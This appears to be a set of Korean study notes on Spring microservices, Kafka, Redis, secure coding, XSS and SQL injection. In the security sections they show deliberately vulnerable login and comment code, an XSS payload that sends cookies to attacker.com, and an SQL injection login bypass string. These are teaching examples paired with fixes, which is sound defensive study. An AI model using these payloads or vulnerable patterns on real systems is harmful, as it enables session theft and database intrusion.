}
// User Entity
@Entity
@Table(name = "users")
public class User {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
@Column(unique = true)
private String email;
private String name;
private String password;
@Enumerated(EnumType.STRING)
private UserStatus status;
@CreationTimestamp
private LocalDateTime createdAt;
// constructors, getters, setters
}
// User Repository
public interface UserRepository extends JpaRepository<User, Long> {
Optional<User> findByEmail(String email);
List<User> findByStatus(UserStatus status);
}
// User Service
@Service
@Transactional
public class UserService {
private final UserRepository userRepository;
private final PasswordEncoder passwordEncoder;
private final ApplicationEventPublisher eventPublisher;
public UserService(UserRepository userRepository,
PasswordEncoder passwordEncoder,
ApplicationEventPublisher eventPublisher) {
this.userRepository = userRepository;
this.passwordEncoder = passwordEncoder;
this.eventPublisher = eventPublisher;
}
public User createUser(CreateUserRequest request) {
// 이메일 중복 체크
if (userRepository.findByEmail(request.getEmail()).isPresent()) {
throw new UserAlreadyExistsException("User already exists: " + request.getEmail());
}
// 사용자 생성
User user = new User();
user.setEmail(request.getEmail());
user.setName(request.getName());
user.setPassword(passwordEncoder.encode(request.getPassword()));
user.setStatus(UserStatus.ACTIVE);
User savedUser = userRepository.save(user);
// 도메인 이벤트 발행
eventPublisher.publishEvent(new UserCreatedEvent(savedUser.getId(), savedUser.getEmail()));
return savedUser;
}
public User getUserById(Long id) {
return userRepository.findById(id)
.orElseThrow(() -> new UserNotFoundException("User not found: " + id));
}
public User updateUser(Long id, UpdateUserRequest request) {
User user = getUserById(id);
user.setName(request.getName());
User updatedUser = userRepository.save(user);
// 도메인 이벤트 발행
eventPublisher.publishEvent(new UserUpdatedEvent(user.getId(), user.getEmail()));
return updatedUser;
}
}
// User Controller
@RestController
@RequestMapping("/users")
@Validated
public class UserController {
private final UserService userService;
public UserController(UserService userService) {
this.userService = userService;
}
@PostMapping
public ResponseEntity<UserResponse> createUser(@Valid @RequestBody CreateUserRequest request) {
User user = userService.createUser(request);
return ResponseEntity.status(HttpStatus.CREATED)
.body(UserResponse.from(user));
}
@GetMapping("/{id}")
public ResponseEntity<UserResponse> getUser(@PathVariable Long id) {
User user = userService.getUserById(id);
return ResponseEntity.ok(UserResponse.from(user));
}
@PutMapping("/{id}")
public ResponseEntity<UserResponse> updateUser(@PathVariable Long id,
@Valid @RequestBody UpdateUserRequest request) {
User user = userService.updateUser(id, request);
return ResponseEntity.ok(UserResponse.from(user));
}
}
@SpringBootApplication
@EnableEurekaClient
@EnableFeignClients
public class OrderServiceApplication {
public static void main(String[] args) {
SpringApplication.run(OrderServiceApplication.class, args);
}
}
// Feign Client (서비스 간 통신)
@FeignClient(name = "user-service", fallback = UserServiceFallback.class)
public interface UserServiceClient {
@GetMapping("/users/{id}")
UserResponse getUser(@PathVariable("id") Long id);
}
// Fallback 구현
@Component
public class UserServiceFallback implements UserServiceClient {
@Override
public UserResponse getUser(Long id) {
return new UserResponse(id, "Unknown User", "unknown@example.com", "INACTIVE");
}
}
// Order Service
@Service
@Transactional
public class OrderService {
private final OrderRepository orderRepository;
private final UserServiceClient userServiceClient;
private final PaymentServiceClient paymentServiceClient;
private final ApplicationEventPublisher eventPublisher;
public OrderService(OrderRepository orderRepository,
UserServiceClient userServiceClient,
PaymentServiceClient paymentServiceClient,
ApplicationEventPublisher eventPublisher) {
this.orderRepository = orderRepository;
this.userServiceClient = userServiceClient;
this.paymentServiceClient = paymentServiceClient;
this.eventPublisher = eventPublisher;
}
public Order createOrder(CreateOrderRequest request) {
// 1. 사용자 존재 확인 (다른 서비스 호출)
UserResponse user = userServiceClient.getUser(request.getUserId());
if (user == null || "INACTIVE".equals(user.getStatus())) {
throw new InvalidUserException("Invalid or inactive user: " + request.getUserId());
}
// 2. 주문 생성
Order order = new Order();
order.setUserId(request.getUserId());
order.setItems(request.getItems().stream()
.map(item -> new OrderItem(item.getProductId(), item.getQuantity(), item.getPrice()))
.collect(Collectors.toList()));
order.setStatus(OrderStatus.PENDING);
order.calculateTotal();
Order savedOrder = orderRepository.save(order);
// 3. 도메인 이벤트 발행
eventPublisher.publishEvent(new OrderCreatedEvent(
savedOrder.getId(),
savedOrder.getUserId(),
savedOrder.getTotal()
));
return savedOrder;
}
@CircuitBreaker(name = "payment-service", fallbackMethod = "fallbackProcessPayment")
@Retry(name = "payment-service")
@TimeLimiter(name = "payment-service")
public CompletableFuture<Order> processPayment(Long orderId, PaymentRequest paymentRequest) {
return CompletableFuture.supplyAsync(() -> {
Order order = orderRepository.findById(orderId)
.orElseThrow(() -> new OrderNotFoundException("Order not found: " + orderId));
// 결제 서비스 호출
PaymentResponse payment = paymentServiceClient.processPayment(paymentRequest);
if (payment.isSuccess()) {
order.setStatus(OrderStatus.PAID);
order.setPaymentId(payment.getPaymentId());
orderRepository.save(order);
// 주문 완료 이벤트 발행
eventPublisher.publishEvent(new OrderPaidEvent(order.getId(), payment.getPaymentId()));
} else {
order.setStatus(OrderStatus.PAYMENT_FAILED);
orderRepository.save(order);
}
return order;
});
}
// Circuit Breaker Fallback
public CompletableFuture<Order> fallbackProcessPayment(Long orderId, PaymentRequest paymentRequest, Exception ex) {
return CompletableFuture.supplyAsync(() -> {
Order order = orderRepository.findById(orderId)
.orElseThrow(() -> new OrderNotFoundException("Order not found: " + orderId));
order.setStatus(OrderStatus.PAYMENT_PENDING);
orderRepository.save(order);
// 나중에 재시도를 위한 이벤트 발행
eventPublisher.publishEvent(new PaymentRetryEvent(orderId, paymentRequest));
return order;
});
}
}
// Resilience4j 설정
@Configuration
public class ResilienceConfig {
@Bean
public CircuitBreakerConfigCustomizer circuitBreakerConfigCustomizer() {
return CircuitBreakerConfigCustomizer.of("payment-service", builder -> builder
.slidingWindowSize(10)
.minimumNumberOfCalls(5)
.failureRateThreshold(50.0f)
.waitDurationInOpenState(Duration.ofSeconds(30))
.permittedNumberOfCallsInHalfOpenState(3)
.automaticTransitionFromOpenToHalfOpenEnabled(true));
}
@Bean
public RetryConfigCustomizer retryConfigCustomizer() {
return RetryConfigCustomizer.of("payment-service", builder -> builder
.maxAttempts(3)
.waitDuration(Duration.ofSeconds(2))
.retryExceptions(ConnectException.class, SocketTimeoutException.class));
}
@Bean
public TimeLimiterConfigCustomizer timeLimiterConfigCustomizer() {
return TimeLimiterConfigCustomizer.of("payment-service", builder -> builder
.timeoutDuration(Duration.ofSeconds(5))
.cancelRunningFuture(true));
}
}
// application.yml 설정
resilience4j:
circuitbreaker:
instances:
payment-service:
register-health-indicator: true
sliding-window-size: 10
minimum-number-of-calls: 5
failure-rate-threshold: 50
wait-duration-in-open-state: 30s
permitted-number-of-calls-in-half-open-state: 3
automatic-transition-from-open-to-half-open-enabled: true
retry:
instances:
payment-service:
max-attempts: 3
wait-duration: 2s
retry-exceptions:
- java.net.ConnectException
- java.net.SocketTimeoutException
timelimiter:
instances:
payment-service:
timeout-duration: 5s
cancel-running-future: true
// Kafka 설정
@Configuration
@EnableKafka
public class KafkaConfig {
@Bean
public ProducerFactory<String, Object> producerFactory() {
Map<String, Object> configProps = new HashMap<>();
configProps.put(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG, "localhost:9092");
configProps.put(ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, StringSerializer.class);
configProps.put(ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, JsonSerializer.class);
return new DefaultKafkaProducerFactory<>(configProps);
}
@Bean
public KafkaTemplate<String, Object> kafkaTemplate() {
return new KafkaTemplate<>(producerFactory());
}
@Bean
public ConsumerFactory<String, Object> consumerFactory() {
Map<String, Object> props = new HashMap<>();
props.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, "localhost:9092");
props.put(ConsumerConfig.GROUP_ID_CONFIG, "order-service-group");
props.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class);
props.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, JsonDeserializer.class);
props.put(JsonDeserializer.TRUSTED_PACKAGES, "*");
return new DefaultKafkaConsumerFactory<>(props);
}
}
// Event Publisher
@Component
public class EventPublisher {
private final KafkaTemplate<String, Object> kafkaTemplate;
public EventPublisher(KafkaTemplate<String, Object> kafkaTemplate) {
this.kafkaTemplate = kafkaTemplate;
}
public void publishOrderCreated(OrderCreatedEvent event) {
kafkaTemplate.send("order.created", event.getOrderId().toString(), event);
}
public void publishOrderPaid(OrderPaidEvent event) {
kafkaTemplate.send("order.paid", event.getOrderId().toString(), event);
}
}
// Event Listener
@Component
public class OrderEventListener {
@KafkaListener(topics = "order.created", groupId = "inventory-service-group")
public void handleOrderCreated(OrderCreatedEvent event) {
// 재고 예약 로직
System.out.println("Order created: " + event.getOrderId() + ", reserving inventory...");
}
@KafkaListener(topics = "order.paid", groupId = "shipping-service-group")
public void handleOrderPaid(OrderPaidEvent event) {
// 배송 준비 로직
System.out.println("Order paid: " + event.getOrderId() + ", preparing shipment...");
}
}
# Docker Compose (docker-compose.yml)
version: '3.8'
services:
eureka-server:
image: user-service:latest
ports:
- "8761:8761"
environment:
- SPRING_PROFILES_ACTIVE=docker
api-gateway:
image: api-gateway:latest
ports:
- "8080:8080"
depends_on:
- eureka-server
environment:
- EUREKA_CLIENT_SERVICE_URL_DEFAULTZONE=http://eureka-server:8761/eureka
user-service:
image: user-service:latest
ports:
- "8081:8081"
depends_on:
- eureka-server
- postgres-user
environment:
- SPRING_DATASOURCE_URL=jdbc:postgresql://postgres-user:5432/userdb
- EUREKA_CLIENT_SERVICE_URL_DEFAULTZONE=http://eureka-server:8761/eureka
order-service:
image: order-service:latest
ports:
- "8082:8082"
depends_on:
- eureka-server
- postgres-order
- kafka
environment:
- SPRING_DATASOURCE_URL=jdbc:postgresql://postgres-order:5432/orderdb
- SPRING_KAFKA_BOOTSTRAP_SERVERS=kafka:9092
- EUREKA_CLIENT_SERVICE_URL_DEFAULTZONE=http://eureka-server:8761/eureka
# Kubernetes Deployment (order-service-deployment.yml)
apiVersion: apps/v1
kind: Deployment
metadata:
name: order-service
spec:
replicas: 3
selector:
matchLabels:
app: order-service
template:
metadata:
labels:
app: order-service
spec:
containers:
- name: order-service
image: order-service:latest
ports:
- containerPort: 8082
env:
- name: SPRING_PROFILES_ACTIVE
value: "kubernetes"
- name: EUREKA_CLIENT_SERVICE_URL_DEFAULTZONE
value: "http://eureka-server:8761/eureka"
livenessProbe:
httpGet:
path: /actuator/health
port: 8082
initialDelaySeconds: 60
periodSeconds: 30
readinessProbe:
httpGet:
path: /actuator/health
port: 8082
initialDelaySeconds: 30
periodSeconds: 10
---
apiVersion: v1
kind: Service
metadata:
name: order-service
spec:
selector:
app: order-service
ports:
- port: 8082
targetPort: 8082
type: ClusterIP
Apache Kafka는 분산 이벤트 스트리밍 플랫폼으로, 대용량 데이터를 실시간으로 처리하기 위한 고성능 메시징 시스템입니다. LinkedIn에서 개발하여 2011년 Apache 프로젝트로 오픈소스화되었습니다.
| 구성요소 | 설명 | 역할 |
|---|---|---|
| Producer | 메시지 생성자 | 토픽에 데이터 발행 |
| Consumer | 메시지 소비자 | 토픽에서 데이터 구독 |
| Topic | 메시지 분류 단위 | 논리적 메시지 채널 |
| Partition | 토픽 분할 단위 | 병렬 처리 및 확장성 |
| Broker | Kafka 서버 | 메시지 저장 및 전달 |
| Zookeeper | 클러스터 관리 | 메타데이터 및 리더 선출 |
Producer → [Topic Partition 0] → Consumer Group A
→ [Topic Partition 1] → Consumer Group B
→ [Topic Partition 2] → Consumer Group C
Kafka Cluster (Brokers)
┌─────────────────────────────────┐
│ Broker 1 │ Broker 2 │ Broker 3 │
│ Part 0 │ Part 1 │ Part 2 │
│ Part 1 │ Part 2 │ Part 0 │
└─────────────────────────────────┘
const kafka = require('kafkajs');
const producer = kafka.producer();
await producer.send({
topic: 'user-events',
messages: [
{
partition: 0,
key: 'user123',
value: JSON.stringify({
userId: 'user123',
action: 'login',
timestamp: Date.now()
})
}
]
});
const consumer = kafka.consumer({ groupId: 'analytics-group' });
await consumer.subscribe({ topic: 'user-events' });
await consumer.run({
eachMessage: async ({ topic, partition, message }) => {
console.log({
key: message.key.toString(),
value: message.value.toString(),
partition,
offset: message.offset,
});
},
});
Partition 0: [Msg0] [Msg1] [Msg2] [Msg3] [Msg4]
Offsets: 0 1 2 3 4
↑
Consumer Position
| 패턴 | 설명 | 사용 사례 |
|---|---|---|
| Event Sourcing | 이벤트 저장소로 활용 | 감사 로그, 상태 복원 |
| Log Aggregation | 로그 수집 및 전달 | 중앙 로그 시스템 |
| Stream Processing | 실시간 데이터 처리 | 실시간 분석, 알림 |
| CDC | 데이터 변경 감지 | 데이터 동기화 |
| 특성 | 성능 |
|---|---|
| 처리량 | 수백만 메시지/초 |
| 지연시간 | 2ms 미만 (SSD 기준) |
| 저장 용량 | 페타바이트급 |
| 가용성 | 99.99% |
"Kafka는 분산 이벤트 스트리밍 플랫폼으로 대용량 데이터를 실시간 처리합니다. Producer가 토픽에 메시지를 발행하면 Consumer가 구독하여 처리하며, 파티셔닝을 통해 병렬 처리와 확장성을 제공합니다. 높은 처리량과 내구성, 실시간 처리가 장점이지만 설정 복잡성과 높은 자원 사용량이 단점입니다."
Redis(Remote Dictionary Server)는 인메모리 데이터 구조 저장소로, 데이터베이스, 캐시, 메시지 브로커로 사용되는 오픈소스 NoSQL 데이터베이스입니다. 모든 데이터를 메모리에 저장하여 매우 빠른 읽기/쓰기 성능을 제공합니다.
| 데이터 타입 | 설명 | 활용 사례 |
|---|---|---|
| String | 기본 키-값 저장 | 캐싱, 카운터, 세션 |
| Hash | 필드-값 쌍의 맵 | 사용자 프로필, 설정 |
| List | 순서가 있는 문자열 리스트 | 큐, 스택, 타임라인 |
| Set | 중복 없는 문자열 집합 | 태그, 팔로워, 유니크 카운터 |
| Sorted Set | 점수 기반 정렬된 집합 | 리더보드, 랭킹 |
| Stream | 로그형 데이터 구조 | 이벤트 스트리밍 |
┌─────────────────────────────────┐
│ Redis Memory │
├─────────────────────────────────┤
│ Dictionary (Hash Table) │
│ ┌───────────┬──────────────┐ │
│ │ Key │ Value │ │
│ ├───────────┼──────────────┤ │
│ │ "user:1" │ Hash Object │ │
│ │ "queue" │ List Object │ │
│ │ "cache" │ String │ │
│ └───────────┴──────────────┘ │
├─────────────────────────────────┤
│ Expiration Dict │
└─────────────────────────────────┘
const redis = require('redis');
const client = redis.createClient();
// String 연산
await client.set('user:1000', 'john');
const username = await client.get('user:1000');
// Hash 연산
await client.hSet('user:1000:profile', {
name: 'John Doe',
email: 'john@example.com',
age: '30'
});
// List 연산
await client.lPush('notifications', 'New message received');
await client.rPop('notifications');
// Set 연산
await client.sAdd('user:1000:tags', 'developer', 'javascript', 'redis');
const pipeline = client.multi();
pipeline.set('key1', 'value1');
pipeline.set('key2', 'value2');
pipeline.incr('counter');
const results = await pipeline.exec();
Master Server
│
├── Slave 1 (Read-only)
├── Slave 2 (Read-only)
└── Slave 3 (Read-only)
Cluster Node 1 Cluster Node 2 Cluster Node 3
(Slots 0-5460) (Slots 5461-10922) (Slots 10923-16383)
| 방식 | 설명 | 장점 | 단점 |
|---|---|---|---|
| RDB | 스냅샷 백업 | 빠른 재시작, 압축 효율 | 데이터 손실 가능 |
| AOF | 명령어 로그 | 내구성 높음 | 파일 크기 큼 |
| 혼합 모드 | RDB + AOF | 둘의 장점 결합 | 설정 복잡 |
// Cache-Aside 패턴
async function getUser(userId) {
// 1. 캐시에서 조회
let user = await redis.get(`user:${userId}`);
if (!user) {
// 2. DB에서 조회
user = await database.findUser(userId);
// 3. 캐시에 저장 (1시간 TTL)
await redis.setEx(`user:${userId}`, 3600, JSON.stringify(user));
}
return JSON.parse(user);
}
// 세션 저장
await redis.setEx(`session:${sessionId}`, 1800, JSON.stringify({
userId: 'user123',
permissions: ['read', 'write'],
loginTime: Date.now()
}));
// 세션 조회
const session = await redis.get(`session:${sessionId}`);
// 점수 추가
await redis.zAdd('leaderboard', { score: 1500, value: 'player1' });
// 순위 조회 (상위 10명)
const topPlayers = await redis.zRevRange('leaderboard', 0, 9, {
withScores: true
});
| 특성 | 성능 |
|---|---|
| 처리량 | 100,000+ ops/sec |
| 지연시간 | < 1ms |
| 메모리 효율성 | 높음 (압축, 공유 객체) |
| 확장성 | 수평적 확장 (클러스터) |
"Redis는 인메모리 NoSQL 데이터베이스로 캐시, 세션 저장소, 메시지 브로커로 사용됩니다. String, Hash, List, Set 등 다양한 데이터 구조를 지원하며, 모든 데이터를 메모리에 저장해 매우 빠른 성능을 제공합니다. RDB/AOF로 영속성을 보장하고 클러스터링으로 확장 가능하지만, 메모리 비용과 단일 스레드 제약이 있습니다."
시큐어코딩(Secure Coding)은 소프트웨어 개발 과정에서 보안 취약점을 예방하고 제거하여 안전한 애플리케이션을 개발하는 프로그래밍 기법입니다. 개발 초기 단계부터 보안을 고려하여 코드를 작성함으로써 보안 사고를 사전에 방지합니다.
| 측면 | 설명 | 비용 효과 |
|---|---|---|
| 사전 예방 | 개발 단계 보안 적용 | 배포 후 수정 대비 1/30 비용 |
| 신뢰성 | 사용자 신뢰도 향상 | 브랜드 가치 증대 |
| 법적 준수 | 개인정보보호법 등 준수 | 법적 리스크 감소 |
| 비즈니스 연속성 | 서비스 중단 방지 | 운영 안정성 확보 |
// 안전하지 않은 코드
app.get('/user/:id', (req, res) => {
const query = `SELECT * FROM users WHERE id = ${req.params.id}`;
// SQL Injection 위험
});
// 안전한 코드
app.get('/user/:id', (req, res) => {
const userId = parseInt(req.params.id);
if (!Number.isInteger(userId) || userId <= 0) {
return res.status(400).json({ error: 'Invalid user ID' });
}
const query = 'SELECT * FROM users WHERE id = ?';
db.query(query, [userId], callback);
});
// XSS 방지 인코딩
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
// 사용 예시
const userInput = req.body.message;
const safeOutput = escapeHtml(userInput);
res.send(`<div>${safeOutput}</div>`);
const bcrypt = require('bcrypt');
// 비밀번호 해시화
async function hashPassword(password) {
const saltRounds = 12;
return await bcrypt.hash(password, saltRounds);
}
// 세션 보안 설정
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true, // HTTPS 전용
httpOnly: true, // XSS 방지
maxAge: 1800000 // 30분
}
}));
| 순위 | 취약점 | 설명 | 대응 방법 |
|---|---|---|---|
| A01 | Broken Access Control | 접근 제어 실패 | 서버측 권한 검증 |
| A02 | Cryptographic Failures | 암호화 실패 | 강력한 암호화 적용 |
| A03 | Injection | 인젝션 공격 | 입력 검증, 파라미터화 쿼리 |
| A04 | Insecure Design | 불안전한 설계 | 보안 설계 원칙 적용 |
| A05 | Security Misconfiguration | 보안 설정 오류 | 보안 강화 설정 |
"시큐어코딩은 개발 과정에서 보안 취약점을 사전에 예방하는 프로그래밍 기법입니다. 입력 검증, 출력 인코딩, 안전한 인증과 세션 관리가 핵심이며, OWASP Top 10과 같은 가이드라인을 따라 SQL Injection, XSS 등의 취약점을 방지합니다. 개발 초기부터 보안을 적용하여 배포 후 수정 비용을 크게 절감할 수 있습니다."
XSS는 공격자가 웹사이트에 악성 스크립트를 삽입하여 사용자의 브라우저에서 실행시키는 공격 기법입니다. 사용자의 세션 쿠키 탈취, 계정 탈취, 피싱 공격 등이 가능합니다.
| 유형 | 설명 | 공격 방법 | 위험도 |
|---|---|---|---|
| Stored XSS | 서버에 저장되는 XSS | 게시판, 댓글에 스크립트 삽입 | 높음 |
| Reflected XSS | 즉시 반사되는 XSS | URL 파라미터에 스크립트 삽입 | 중간 |
| DOM-based XSS | 클라이언트 측 XSS | JavaScript로 DOM 조작 | 중간 |
// 취약한 코드 (Stored XSS)
app.post('/comment', (req, res) => {
const comment = req.body.comment;
// 직접 DB에 저장 (위험!)
db.query('INSERT INTO comments (content) VALUES (?)', [comment]);
res.redirect('/posts');
});
// 취약한 출력 (XSS 실행)
app.get('/posts', (req, res) => {
db.query('SELECT * FROM comments', (err, comments) => {
let html = '<div>';
comments.forEach(comment => {
// 인코딩 없이 직접 출력 (위험!)
html += `<p>${comment.content}</p>`;
});
html += '</div>';
res.send(html);
});
});
// 공격 페이로드
<script>
// 쿠키 탈취
document.location = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>
const he = require('he');
// HTML 엔티티 인코딩
function safeOutput(userInput) {
return he.encode(userInput);
}
// 안전한 출력
app.get('/posts', (req, res) => {
db.query('SELECT * FROM comments', (err, comments) => {
let html = '<div>';
comments.forEach(comment => {
// 인코딩하여 안전하게 출력
html += `<p>${safeOutput(comment.content)}</p>`;
});
html += '</div>';
res.send(html);
});
});
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' 'unsafe-inline'; " +
"style-src 'self' 'unsafe-inline';"
);
next();
});
const DOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const purify = DOMPurify(window);
function sanitizeHtml(dirty) {
return purify.sanitize(dirty);
}
SQL Injection은 사용자 입력을 통해 SQL 쿼리를 조작하여 데이터베이스에 비인가 접근하거나 데이터를 탈취, 변조, 삭제하는 공격 기법입니다.
| 유형 | 설명 | 공격 목적 |
|---|---|---|
| Union-based | UNION 구문으로 데이터 탈취 | 데이터 조회 |
| Boolean-based | 참/거짓 반응으로 정보 추출 | 블라인드 공격 |
| Time-based | 시간 지연으로 정보 추출 | 블라인드 공격 |
| Error-based | 에러 메시지를 통한 정보 추출 | 스키마 정보 획득 |
// 취약한 코드
app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
// 동적 쿼리 생성 (위험!)
const query = `
SELECT * FROM users
WHERE username = '${username}'
AND password = '${password}'
`;
db.query(query, (err, results) => {
if (results.length > 0) {
res.json({ success: true });
} else {
res.json({ success: false });
}
});
});
// 공격 페이로드
// username: admin' OR '1'='1' --
// password: anything
// 실제 실행되는 쿼리
SELECT * FROM users
WHERE username = 'admin' OR '1'='1' --'
AND password = 'anything'
// 안전한 코드 - MySQL
app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
// 파라미터화 쿼리 사용
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(query, [username, password], (err, results) => {
if (err) {
return res.status(500).json({ error: 'Database error' });
}
if (results.length > 0) {
res.json({ success: true });
} else {
res.json({ success: false });
}
});
});
// ORM 사용 예시 (Sequelize)
const user = await User.findOne({
where: {
username: req.body.username,
password: req.body.password
}
});
const validator = require('validator');
function validateInput(input, type) {
switch(type) {
case 'email':
return validator.isEmail(input);
case 'alphanumeric':
return validator.isAlphanumeric(input);
case 'numeric':
return validator.isNumeric(input);
default:
return false;
}
}
app.post('/user/:id', (req, res) => {
const userId = req.params.id;
// 입력 검증
if (!validateInput(userId, 'numeric')) {
return res.status(400).json({ error: 'Invalid user ID' });
}
const query = 'SELECT * FROM users WHERE id = ?';
db.query(query, [userId], callback);
});
// 데이터베이스 사용자별 권한 분리
const dbConfigs = {
read: {
host: 'localhost',
user: 'app_reader', // 읽기 전용 권한
password: 'read_pass',
database: 'app_db'
},
write: {
host: 'localhost',
user: 'app_writer', // 읽기/쓰기 권한
password: 'write_pass',
database: 'app_db'
}
};
// 읽기 전용 연결
const readDB = mysql.createConnection(dbConfigs.read);
// 쓰기 연결
const writeDB = mysql.createConnection(dbConfigs.write);
1. 네트워크 보안 → 방화벽, IDS/IPS
2. 애플리케이션 → 입력 검증, 출력 인코딩
3. 데이터베이스 → 권한 관리, 암호화
4. 모니터링 → 로그 분석, 이상 탐지
const helmet = require('helmet');
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
}
}));
| 도구 | 유형 | 특징 |
|---|---|---|
| OWASP ZAP | DAST | 무료, 다양한 취약점 스캔 |
| Burp Suite | DAST | 상업용, 전문가용 |
| SQLMap | SQL Injection 전용 | 자동화된 SQLi 탐지 |
| SonarQube | SAST | 코드 품질 및 보안 |
"XSS는 악성 스크립트를 웹사이트에 삽입하는 공격으로 출력 인코딩과 CSP로 방어합니다. SQL Injection은 SQL 쿼리를 조작하는 공격으로 파라미터화 쿼리와 입력 검증으로 방어합니다. 두 취약점 모두 OWASP Top 10에 포함되며, 개발 단계부터 보안을 고려한 시큐어코딩을 통해 예방할 수 있습니다."